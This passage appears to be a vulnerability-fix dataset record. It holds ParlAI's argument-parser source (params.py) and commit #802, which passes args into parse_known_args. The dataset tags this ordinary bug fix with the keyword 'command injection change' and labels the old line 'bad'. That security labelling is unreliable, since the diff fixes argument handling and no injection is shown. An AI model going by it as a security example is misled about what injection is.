add_model_args:\n self.add_model_args()\n\n def add_parlai_data_path(self, argument_group=None):\n if argument_group is None:\n argument_group = self\n default_data_path = os.path.join(self.parlai_home, 'data')\n argument_group.add_argument(\n '-dp', '--datapath', default=default_data_path,\n help='path to datasets, defaults to {parlai_dir}/data')\n\n def add_mturk_args(self):\n mturk = self.add_argument_group('Mechanical Turk')\n default_log_path = os.path.join(self.parlai_home, 'logs', 'mturk')\n mturk.add_argument(\n '--mturk-log-path', default=default_log_path,\n help='path to MTurk logs, defaults to {parlai_dir}/logs/mturk')\n mturk.add_argument(\n '-t', '--task',\n help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"')\n mturk.add_argument(\n '-nc', '--num-conversations', default=1, type=int,\n help='number of conversations you want to create for this task')\n mturk.add_argument(\n '--unique', dest='unique_worker', default=False,\n action='store_true',\n help='enforce that no worker can work on your task twice')\n mturk.add_argument(\n '--unique-qual-name', dest='unique_qual_name',\n default=None, type=str,\n help='qualification name to use for uniqueness between HITs')\n mturk.add_argument(\n '-r', '--reward', default=0.05, type=float,\n help='reward for each worker for finishing the conversation, '\n 'in US dollars')\n mturk.add_argument(\n '--sandbox', dest='is_sandbox', action='store_true',\n help='submit the HITs to MTurk sandbox site')\n mturk.add_argument(\n '--live', dest='is_sandbox', action='store_false',\n help='submit the HITs to MTurk live site')\n mturk.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n mturk.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n mturk.add_argument(\n '--hard-block', dest='hard_block', action='store_true',\n default=False,\n help='Hard block disconnecting Turkers from all of your HITs')\n mturk.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n mturk.add_argument(\n '--block-qualification', dest='block_qualification', default='',\n help='Qualification to use for soft blocking users. By default '\n 'turkers are never blocked, though setting this will allow '\n 'you to filter out turkers that have disconnected too many '\n 'times on previous HITs where this qualification was set.')\n mturk.add_argument(\n '--count-complete', dest='count_complete',\n default=False, action='store_true',\n help='continue until the requested number of conversations are '\n 'completed rather than attempted')\n mturk.add_argument(\n '--allowed-conversations', dest='allowed_conversations',\n default=0, type=int,\n help='number of concurrent conversations that one mturk worker '\n 'is able to be involved in, 0 is unlimited')\n mturk.add_argument(\n '--max-connections', dest='max_connections',\n default=30, type=int,\n help='number of HITs that can be launched at the same time, 0 is '\n 'unlimited.'\n )\n mturk.add_argument(\n '--min-messages', dest='min_messages',\n default=0, type=int,\n help='number of messages required to be sent by MTurk agent when '\n 'considering whether to approve a HIT in the event of a '\n 'partner disconnect. I.e. if the number of messages '\n 'exceeds this number, the turker can submit the HIT.'\n )\n mturk.add_argument(\n '--local', dest='local', default=False, action='store_true',\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n mturk.set_defaults(is_sandbox=True)\n mturk.set_defaults(is_debug=False)\n mturk.set_defaults(verbose=False)\n\n def add_messenger_args(self):\n messenger = self.add_argument_group('Facebook Messenger')\n messenger.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n messenger.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n messenger.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n messenger.add_argument(\n '--force-page-token', dest='force_page_token', action='store_true',\n help='override the page token stored in the cache for a new one')\n messenger.add_argument(\n '--password', dest='password', type=str, default=None,\n help='Require a password for entry to the bot')\n messenger.add_argument(\n '--local', dest='local', action='store_true', default=False,\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n messenger.set_defaults(is_debug=False)\n messenger.set_defaults(verbose=False)\n\n def add_parlai_args(self, args=None):\n default_downloads_path = os.path.join(self.parlai_home, 'downloads')\n parlai = self.add_argument_group('Main ParlAI Arguments')\n parlai.add_argument(\n '-t', '--task',\n help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"')\n parlai.add_argument(\n '--download-path', default=default_downloads_path,\n help='path for non-data dependencies to store any needed files.'\n 'defaults to {parlai_dir}/downloads')\n parlai.add_argument(\n '-dt', '--datatype', default='train',\n choices=['train', 'train:stream', 'train:ordered',\n 'train:ordered:stream', 'train:stream:ordered',\n 'valid', 'valid:stream', 'test', 'test:stream'],\n help='choose from: train, train:ordered, valid, test. to stream '\n 'data add \":stream\" to any option (e.g., train:stream). '\n 'by default: train is random with replacement, '\n 'valid is ordered, test is ordered.')\n parlai.add_argument(\n '-im', '--image-mode', default='raw', type=str,\n help='image preprocessor to use. default is \"raw\". set to \"none\" '\n 'to skip image loading.')\n parlai.add_argument(\n '-nt', '--numthreads', default=1, type=int,\n help='number of threads. If batchsize set to 1, used for hogwild; '\n 'otherwise, used for number of threads in threadpool loading,'\n ' e.g. in vqa')\n parlai.add_argument(\n '--hide-labels', default=False, type='bool',\n help='default (False) moves labels in valid and test sets to the '\n 'eval_labels field. If True, they are hidden completely.')\n batch = self.add_argument_group('Batching Arguments')\n batch.add_argument(\n '-bs', '--batchsize', default=1, type=int,\n help='batch size for minibatch training schemes')\n batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool',\n help='If enabled (default True), create batches by '\n 'flattening all episodes to have exactly one '\n 'utterance exchange and then sorting all the '\n 'examples according to their length. This '\n 'dramatically reduces the amount of padding '\n 'present after examples have been parsed, '\n 'speeding up training.')\n batch.add_argument('-clen', '--context-length', default=-1, type=int,\n help='Number of past utterances to remember when '\n 'building flattened batches of data in multi-'\n 'example episodes.')\n batch.add_argument('-incl', '--include-labels',\n default=True, type='bool',\n help='Specifies whether or not to include labels '\n 'as past utterances when building flattened '\n 'batches of data in multi-example episodes.')\n self.add_parlai_data_path(parlai)\n\n def add_model_args(self):\n \"\"\"Add arguments related to models such as model files.\"\"\"\n model_args = self.add_argument_group('ParlAI Model Arguments')\n model_args.add_argument(\n '-m', '--model', default=None,\n help='the model class name. can match parlai/agents/ for '\n 'agents in that directory, or can provide a fully specified '\n 'module for `from X import Y` via `-m X:Y` '\n '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)')\n model_args.add_argument(\n '-mf', '--model-file', default=None,\n help='model file name for loading and saving models')\n model_args.add_argument(\n '--dict-class',\n help='the class of the dictionary agent uses')\n\n def add_model_subargs(self, model):\n \"\"\"Add arguments specific to a particular model.\"\"\"\n agent = get_agent_module(model)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n try:\n if hasattr(agent, 'dictionary_class'):\n s = class2str(agent.dictionary_class())\n self.set_defaults(dict_class=s)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_task_args(self, task):\n \"\"\"Add arguments specific to the specified task.\"\"\"\n for t in ids_to_tasks(task).split(','):\n agent = get_task_module(t)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_image_args(self, image_mode):\n \"\"\"Add additional arguments for handling images.\"\"\"\n try:\n parlai = self.add_argument_group('ParlAI Image Preprocessing Arguments')\n parlai.add_argument('--image-size', type=int, default=256,\n help='resizing dimension for images')\n parlai.add_argument('--image-cropsize', type=int, default=224,\n help='crop dimension for images')\n except argparse.ArgumentError:\n # already added\n pass\n\n\n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n parsed = vars(self.parse_known_args(nohelp=True)[0])\n\n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n if image_mode is not None and image_mode != 'none':\n self.add_image_args(image_mode)\n\n # find which task specified if any, and add its specific arguments\n task = parsed.get('task', None)\n if task is not None:\n self.add_task_args(task)\n evaltask = parsed.get('evaltask', None)\n if evaltask is not None:\n self.add_task_args(evaltask)\n\n # find which model specified if any, and add its specific arguments\n model = parsed.get('model', None)\n if model is not None:\n self.add_model_subargs(model)\n\n # reset parser-level defaults over any model-level defaults\n try:\n self.set_defaults(**self._defaults)\n except AttributeError:\n raise RuntimeError('Please file an issue on github that argparse '\n 'got an attribute error when parsing.')\n\n\n def parse_known_args(self, args=None, namespace=None, nohelp=False):\n \"\"\"Custom parse known args to ignore help flag.\"\"\"\n if nohelp:\n # ignore help\n args = sys.argv[1:] if args is None else args\n args = [a for a in args if a != '-h' and a != '--help']\n return super().parse_known_args(args, namespace)\n\n\n def parse_args(self, args=None, namespace=None, print_args=True):\n \"\"\"Parses the provided arguments and returns a dictionary of the\n ``args``. We specifically remove items with ``None`` as values in order\n to support the style ``opt.get(key, default)``, which would otherwise\n return ``None``.\n \"\"\"\n self.add_extra_args(args)\n self.args = super().parse_args(args=args)\n self.opt = vars(self.args)\n\n # custom post-parsing\n self.opt['parlai_home'] = self.parlai_home\n if 'batchsize' in self.opt and self.opt['batchsize'] <= 1:\n # hide batch options\n self.opt.pop('batch_sort', None)\n self.opt.pop('context_length', None)\n\n # set environment variables\n if self.opt.get('download_path'):\n os.environ['PARLAI_DOWNPATH'] = self.opt['download_path']\n if self.opt.get('datapath'):\n os.environ['PARLAI_DATAPATH'] = self.opt['datapath']\n\n # map filenames that start with 'models:' to point to the model zoo dir\n if self.opt.get('model_file') is not None:\n self.opt['model_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['model_file'])\n if self.opt.get('dict_file') is not None:\n self.opt['dict_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['dict_file'])\n\n # set all arguments specified in commandline as overridable\n option_strings_dict = {}\n store_true = []\n store_false = []\n for group in self._action_groups:\n for a in group._group_actions:\n if hasattr(a, 'option_strings'):\n for option in a.option_strings:\n option_strings_dict[option] = a.dest\n if '_StoreTrueAction' in str(type(a)):\n store_true.append(option)\n elif '_StoreFalseAction' in str(type(a)):\n store_false.append(option)\n\n for i in range(len(self.cli_args)):\n if self.cli_args[i] in option_strings_dict:\n if self.cli_args[i] in store_true:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n True\n elif self.cli_args[i] in store_false:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n False\n else:\n if i < (len(self.cli_args) - 1) and \\\n self.cli_args[i+1][0] != '-':\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n self.cli_args[i+1]\n self.opt['override'] = self.overridable\n\n if print_args:\n self.print_args()\n\n return self.opt\n\n def print_args(self):\n \"\"\"Print out all the arguments in this parser.\"\"\"\n if not self.opt:\n self.parse_args(print_args=False)\n values = {}\n for key, value in self.opt.items():\n values[str(key)] = str(value)\n for group in self._action_groups:\n group_dict = {\n a.dest: getattr(self.args, a.dest, None)\n for a in group._group_actions\n }\n namespace = argparse.Namespace(**group_dict)\n count = 0\n for key in namespace.__dict__:\n if key in values:\n if count == 0:\n print('[ ' + group.title + ': ] ')\n count += 1\n print('[ ' + key + ': ' + values[key] + ' ]')\n\n def set_params(self, **kwargs):\n \"\"\"Set overridable kwargs.\"\"\"\n self.set_defaults(**kwargs)\n for k, v in kwargs.items():\n self.overridable[k] = v\n"}}, "msg": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters."}}, "https://github.com/facebookresearch/ParlAI": {"601668d569e1276e0b8bf2bf8fb43e391e10d170": {"url": "https://api.github.com/repos/facebookresearch/ParlAI/commits/601668d569e1276e0b8bf2bf8fb43e391e10d170", "html_url": "https://github.com/facebookresearch/ParlAI/commit/601668d569e1276e0b8bf2bf8fb43e391e10d170", "message": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters.", "sha": "601668d569e1276e0b8bf2bf8fb43e391e10d170", "keyword": "command injection change", "diff": "diff --git a/parlai/core/params.py b/parlai/core/params.py\nindex 027c02c9a..17e4a98c7 100644\n--- a/parlai/core/params.py\n+++ b/parlai/core/params.py\n@@ -335,7 +335,7 @@ def add_image_args(self, image_mode):\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "files": {"/parlai/core/params.py": {"changes": [{"diff": "\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "add": 1, "remove": 1, "filename": "/parlai/core/params.py", "badparts": [" parsed = vars(self.parse_known_args(nohelp=True)[0])"], "goodparts": [" parsed = vars(self.parse_known_args(args, nohelp=True)[0])"]}], "source": "\n \"\"\"Provides an argument parser and a set of default command line options for using the ParlAI package. \"\"\" import argparse import importlib import os import sys from parlai.core.agents import get_agent_module, get_task_module from parlai.tasks.tasks import ids_to_tasks def str2bool(value): v=value.lower() if v in('yes', 'true', 't', '1', 'y'): return True elif v in('no', 'false', 'f', 'n', '0'): return False else: raise argparse.ArgumentTypeError('Boolean value expected.') def str2class(value): \"\"\"From import path string, returns the class specified. For example, the string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns . \"\"\" if ':' not in value: raise RuntimeError('Use a colon before the name of the class.') name=value.split(':') module=importlib.import_module(name[0]) return getattr(module, name[1]) def class2str(value): \"\"\"Inverse of params.str2class().\"\"\" s=str(value) s=s[s.find('\\'') +1:s.rfind('\\'')] s=':'.join(s.rsplit('.', 1)) return s def modelzoo_path(datapath, path): \"\"\"If path starts with 'models', then we remap it to the model zoo path within the data directory(default is ParlAI/data/models). .\"\"\" if path is None: return None if not path.startswith('models:'): return path else: animal=path[7:path.rfind('/')].replace('/', '.') module_name=f\"parlai.zoo.{animal}\" print(module_name) try: my_module=importlib.import_module(module_name) download=getattr(my_module, 'download') download(datapath) except(ModuleNotFoundError, AttributeError): pass return os.path.join(datapath, 'models', path[7:]) class ParlaiParser(argparse.ArgumentParser): \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters for the ParlAI framework. More options can be added specific to other modules by passing this object and calling ``add_arg()`` or ``add_argument()`` on it. For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``. \"\"\" def __init__(self, add_parlai_args=True, add_model_args=False): \"\"\"Initializes the ParlAI argparser. -add_parlai_args(default True) initializes the default arguments for ParlAI package, including the data download paths and task arguments. -add_model_args(default False) initializes the default arguments for loading models, including initializing arguments from that model. \"\"\" super().__init__(description='ParlAI parser.', allow_abbrev=False, conflict_handler='resolve') self.register('type', 'bool', str2bool) self.register('type', 'class', str2class) self.parlai_home=(os.path.dirname(os.path.dirname(os.path.dirname( os.path.realpath(__file__))))) os.environ['PARLAI_HOME']=self.parlai_home self.add_arg=self.add_argument self.cli_args=sys.argv self.overridable={} if add_parlai_args: self.add_parlai_args() if add_model_args: self.add_model_args() def add_parlai_data_path(self, argument_group=None): if argument_group is None: argument_group=self default_data_path=os.path.join(self.parlai_home, 'data') argument_group.add_argument( '-dp', '--datapath', default=default_data_path, help='path to datasets, defaults to{parlai_dir}/data') def add_mturk_args(self): mturk=self.add_argument_group('Mechanical Turk') default_log_path=os.path.join(self.parlai_home, 'logs', 'mturk') mturk.add_argument( '--mturk-log-path', default=default_log_path, help='path to MTurk logs, defaults to{parlai_dir}/logs/mturk') mturk.add_argument( '-t', '--task', help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"') mturk.add_argument( '-nc', '--num-conversations', default=1, type=int, help='number of conversations you want to create for this task') mturk.add_argument( '--unique', dest='unique_worker', default=False, action='store_true', help='enforce that no worker can work on your task twice') mturk.add_argument( '--unique-qual-name', dest='unique_qual_name', default=None, type=str, help='qualification name to use for uniqueness between HITs') mturk.add_argument( '-r', '--reward', default=0.05, type=float, help='reward for each worker for finishing the conversation, ' 'in US dollars') mturk.add_argument( '--sandbox', dest='is_sandbox', action='store_true', help='submit the HITs to MTurk sandbox site') mturk.add_argument( '--live', dest='is_sandbox', action='store_false', help='submit the HITs to MTurk live site') mturk.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') mturk.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') mturk.add_argument( '--hard-block', dest='hard_block', action='store_true', default=False, help='Hard block disconnecting Turkers from all of your HITs') mturk.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') mturk.add_argument( '--block-qualification', dest='block_qualification', default='', help='Qualification to use for soft blocking users. By default ' 'turkers are never blocked, though setting this will allow ' 'you to filter out turkers that have disconnected too many ' 'times on previous HITs where this qualification was set.') mturk.add_argument( '--count-complete', dest='count_complete', default=False, action='store_true', help='continue until the requested number of conversations are ' 'completed rather than attempted') mturk.add_argument( '--allowed-conversations', dest='allowed_conversations', default=0, type=int, help='number of concurrent conversations that one mturk worker ' 'is able to be involved in, 0 is unlimited') mturk.add_argument( '--max-connections', dest='max_connections', default=30, type=int, help='number of HITs that can be launched at the same time, 0 is ' 'unlimited.' ) mturk.add_argument( '--min-messages', dest='min_messages', default=0, type=int, help='number of messages required to be sent by MTurk agent when ' 'considering whether to approve a HIT in the event of a ' 'partner disconnect. I.e. if the number of messages ' 'exceeds this number, the turker can submit the HIT.' ) mturk.add_argument( '--local', dest='local', default=False, action='store_true', help='Run the server locally on this server rather than setting up' ' a heroku server.' ) mturk.set_defaults(is_sandbox=True) mturk.set_defaults(is_debug=False) mturk.set_defaults(verbose=False) def add_messenger_args(self): messenger=self.add_argument_group('Facebook Messenger') messenger.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') messenger.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') messenger.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') messenger.add_argument( '--force-page-token', dest='force_page_token', action='store_true', help='override the page token stored in the cache for a new one') messenger.add_argument( '--password', dest='password', type=str, default=None, help='Require a password for entry to the bot') messenger.add_argument( '--local', dest='local', action='store_true', default=False, help='Run the server locally on this server rather than setting up' ' a heroku server.' ) messenger.set_defaults(is_debug=False) messenger.set_defaults(verbose=False) def add_parlai_args(self, args=None): default_downloads_path=os.path.join(self.parlai_home, 'downloads') parlai=self.add_argument_group('Main ParlAI Arguments') parlai.add_argument( '-t', '--task', help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"') parlai.add_argument( '--download-path', default=default_downloads_path, help='path for non-data dependencies to store any needed files.' 'defaults to{parlai_dir}/downloads') parlai.add_argument( '-dt', '--datatype', default='train', choices=['train', 'train:stream', 'train:ordered', 'train:ordered:stream', 'train:stream:ordered', 'valid', 'valid:stream', 'test', 'test:stream'], help='choose from: train, train:ordered, valid, test. to stream ' 'data add \":stream\" to any option(e.g., train:stream). ' 'by default: train is random with replacement, ' 'valid is ordered, test is ordered.') parlai.add_argument( '-im', '--image-mode', default='raw', type=str, help='image preprocessor to use. default is \"raw\". set to \"none\" ' 'to skip image loading.') parlai.add_argument( '-nt', '--numthreads', default=1, type=int, help='number of threads. If batchsize set to 1, used for hogwild; ' 'otherwise, used for number of threads in threadpool loading,' ' e.g. in vqa') parlai.add_argument( '--hide-labels', default=False, type='bool', help='default(False) moves labels in valid and test sets to the ' 'eval_labels field. If True, they are hidden completely.') batch=self.add_argument_group('Batching Arguments') batch.add_argument( '-bs', '--batchsize', default=1, type=int, help='batch size for minibatch training schemes') batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool', help='If enabled(default True), create batches by ' 'flattening all episodes to have exactly one ' 'utterance exchange and then sorting all the ' 'examples according to their length. This ' 'dramatically reduces the amount of padding ' 'present after examples have been parsed, ' 'speeding up training.') batch.add_argument('-clen', '--context-length', default=-1, type=int, help='Number of past utterances to remember when ' 'building flattened batches of data in multi-' 'example episodes.') batch.add_argument('-incl', '--include-labels', default=True, type='bool', help='Specifies whether or not to include labels ' 'as past utterances when building flattened ' 'batches of data in multi-example episodes.') self.add_parlai_data_path(parlai) def add_model_args(self): \"\"\"Add arguments related to models such as model files.\"\"\" model_args=self.add_argument_group('ParlAI Model Arguments') model_args.add_argument( '-m', '--model', default=None, help='the model class name. can match parlai/agents/ for ' 'agents in that directory, or can provide a fully specified ' 'module for `from X import Y` via `-m X:Y` ' '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)') model_args.add_argument( '-mf', '--model-file', default=None, help='model file name for loading and saving models') model_args.add_argument( '--dict-class', help='the class of the dictionary agent uses') def add_model_subargs(self, model): \"\"\"Add arguments specific to a particular model.\"\"\" agent=get_agent_module(model) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass try: if hasattr(agent, 'dictionary_class'): s=class2str(agent.dictionary_class()) self.set_defaults(dict_class=s) except argparse.ArgumentError: pass def add_task_args(self, task): \"\"\"Add arguments specific to the specified task.\"\"\" for t in ids_to_tasks(task).split(','): agent=get_task_module(t) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass def add_image_args(self, image_mode): \"\"\"Add additional arguments for handling images.\"\"\" try: parlai=self.add_argument_group('ParlAI Image Preprocessing Arguments') parlai.add_argument('--image-size', type=int, default=256, help='resizing dimension for images') parlai.add_argument('--image-cropsize', type=int, default=224, help='crop dimension for images') except argparse.ArgumentError: pass def add_extra_args(self, args=None): \"\"\"Add more args depending on how known args are set.\"\"\" parsed=vars(self.parse_known_args(nohelp=True)[0]) image_mode=parsed.get('image_mode', None) if image_mode is not None and image_mode !='none': self.add_image_args(image_mode) task=parsed.get('task', None) if task is not None: self.add_task_args(task) evaltask=parsed.get('evaltask', None) if evaltask is not None: self.add_task_args(evaltask) model=parsed.get('model', None) if model is not None: self.add_model_subargs(model) try: self.set_defaults(**self._defaults) except AttributeError: raise RuntimeError('Please file an issue on github that argparse ' 'got an attribute error when parsing.') def parse_known_args(self, args=None, namespace=None, nohelp=False): \"\"\"Custom parse known args to ignore help flag.\"\"\" if nohelp: args=sys.argv[1:] if args is None else args args=[a for a in args if a !='-h' and a !='--help'] return super().parse_known_args(args, namespace) def parse_args(self, args=None, namespace=None, print_args=True): \"\"\"Parses the provided arguments and returns a dictionary of the ``args``. We specifically remove items with ``None`` as values in order to support the style ``opt.get(key, default)``, which would otherwise return ``None``. \"\"\" self.add_extra_args(args) self.args=super().parse_args(args=args) self.opt=vars(self.args) self.opt['parlai_home']=self.parlai_home if 'batchsize' in self.opt and self.opt['batchsize'] <=1: self.opt.pop('batch_sort', None) self.opt.pop('context_length', None) if self.opt.get('download_path'): os.environ['PARLAI_DOWNPATH']=self.opt['download_path'] if self.opt.get('datapath'): os.environ['PARLAI_DATAPATH']=self.opt['datapath'] if self.opt.get('model_file') is not None: self.opt['model_file']=modelzoo_path(self.opt.get('datapath'), self.opt['model_file']) if self.opt.get('dict_file') is not None: self.opt['dict_file']=modelzoo_path(self.opt.get('datapath'), self.opt['dict_file']) option_strings_dict={} store_true=[] store_false=[] for group in self._action_groups: for a in group._group_actions: if hasattr(a, 'option_strings'): for option in a.option_strings: option_strings_dict[option]=a.dest if '_StoreTrueAction' in str(type(a)): store_true.append(option) elif '_StoreFalseAction' in str(type(a)): store_false.append(option) for i in range(len(self.cli_args)): if self.cli_args[i] in option_strings_dict: if self.cli_args[i] in store_true: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ True elif self.cli_args[i] in store_false: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ False else: if i <(len(self.cli_args) -1) and \\ self.cli_args[i+1][0] !='-': self.overridable[option_strings_dict[self.cli_args[i]]]=\\ self.cli_args[i+1] self.opt['override']=self.overridable if print_args: self.print_args() return self.opt def print_args(self): \"\"\"Print out all the arguments in this parser.\"\"\" if not self.opt: self.parse_args(print_args=False) values={} for key, value in self.opt.items(): values[str(key)]=str(value) for group in self._action_groups: group_dict={ a.dest: getattr(self.args, a.dest, None) for a in group._group_actions } namespace=argparse.Namespace(**group_dict) count=0 for key in namespace.__dict__: if key in values: if count==0: print('[ ' +group.title +':] ') count +=1 print('[ ' +key +': ' +values[key] +']') def set_params(self, **kwargs): \"\"\"Set overridable kwargs.\"\"\" self.set_defaults(**kwargs) for k, v in kwargs.items(): self.overridable[k]=v ", "sourceWithComments": "# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\"\"\"Provides an argument parser and a set of default command line options for\nusing the ParlAI package.\n\"\"\"\n\nimport argparse\nimport importlib\nimport os\nimport sys\nfrom parlai.core.agents import get_agent_module, get_task_module\nfrom parlai.tasks.tasks import ids_to_tasks\n\n\ndef str2bool(value):\n v = value.lower()\n if v in ('yes', 'true', 't', '1', 'y'):\n return True\n elif v in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef str2class(value):\n \"\"\"From import path string, returns the class specified. For example, the\n string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns\n .\n \"\"\"\n if ':' not in value:\n raise RuntimeError('Use a colon before the name of the class.')\n name = value.split(':')\n module = importlib.import_module(name[0])\n return getattr(module, name[1])\n\n\ndef class2str(value):\n \"\"\"Inverse of params.str2class().\"\"\"\n s = str(value)\n s = s[s.find('\\'') + 1:s.rfind('\\'')] # pull out import path\n s = ':'.join(s.rsplit('.', 1)) # replace last period with ':'\n return s\n\n\ndef modelzoo_path(datapath, path):\n \"\"\"If path starts with 'models', then we remap it to the model zoo path\n within the data directory (default is ParlAI/data/models).\n .\"\"\"\n if path is None:\n return None\n if not path.startswith('models:'):\n return path\n else:\n # Check if we need to download the model\n animal = path[7:path.rfind('/')].replace('/', '.')\n module_name = f\"parlai.zoo.{animal}\"\n print(module_name)\n try:\n my_module = importlib.import_module(module_name)\n download = getattr(my_module, 'download')\n download(datapath)\n except (ModuleNotFoundError, AttributeError):\n pass\n return os.path.join(datapath, 'models', path[7:])\n\n\nclass ParlaiParser(argparse.ArgumentParser):\n \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters\n for the ParlAI framework. More options can be added specific to other\n modules by passing this object and calling ``add_arg()`` or\n ``add_argument()`` on it.\n\n For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``.\n \"\"\"\n\n def __init__(self, add_parlai_args=True, add_model_args=False):\n \"\"\"Initializes the ParlAI argparser.\n - add_parlai_args (default True) initializes the default arguments for\n ParlAI package, including the data download paths and task arguments.\n - add_model_args (default False) initializes the default arguments for\n loading models, including initializing arguments from that model.\n \"\"\"\n super().__init__(description='ParlAI parser.', allow_abbrev=False,\n conflict_handler='resolve')\n self.register('type', 'bool', str2bool)\n self.register('type', 'class', str2class)\n self.parlai_home = (os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.realpath(__file__)))))\n os.environ['PARLAI_HOME'] = self.parlai_home\n\n self.add_arg = self.add_argument\n\n # remember which args were specified on the command line\n self.cli_args = sys.argv\n self.overridable = {}\n\n if add_parlai_args:\n self.add_parlai_args()\n if add_model_args:\n self.add_model_args()\n\n def add_parlai_data_path(self, argument_group=None):\n if argument_group is None:\n argument_group = self\n default_data_path = os.path.join(self.parlai_home, 'data')\n argument_group.add_argument(\n '-dp', '--datapath', default=default_data_path,\n help='path to datasets, defaults to {parlai_dir}/data')\n\n def add_mturk_args(self):\n mturk = self.add_argument_group('Mechanical Turk')\n default_log_path = os.path.join(self.parlai_home, 'logs', 'mturk')\n mturk.add_argument(\n '--mturk-log-path', default=default_log_path,\n help='path to MTurk logs, defaults to {parlai_dir}/logs/mturk')\n mturk.add_argument(\n '-t', '--task',\n help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"')\n mturk.add_argument(\n '-nc', '--num-conversations', default=1, type=int,\n help='number of conversations you want to create for this task')\n mturk.add_argument(\n '--unique', dest='unique_worker', default=False,\n action='store_true',\n help='enforce that no worker can work on your task twice')\n mturk.add_argument(\n '--unique-qual-name', dest='unique_qual_name',\n default=None, type=str,\n help='qualification name to use for uniqueness between HITs')\n mturk.add_argument(\n '-r', '--reward', default=0.05, type=float,\n help='reward for each worker for finishing the conversation, '\n 'in US dollars')\n mturk.add_argument(\n '--sandbox', dest='is_sandbox', action='store_true',\n help='submit the HITs to MTurk sandbox site')\n mturk.add_argument(\n '--live', dest='is_sandbox', action='store_false',\n help='submit the HITs to MTurk live site')\n mturk.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n mturk.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n mturk.add_argument(\n '--hard-block', dest='hard_block', action='store_true',\n default=False,\n help='Hard block disconnecting Turkers from all of your HITs')\n mturk.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n mturk.add_argument(\n '--block-qualification', dest='block_qualification', default='',\n help='Qualification to use for soft blocking users. By default '\n 'turkers are never blocked, though setting this will allow '\n 'you to filter out turkers that have disconnected too many '\n 'times on previous HITs where this qualification was set.')\n 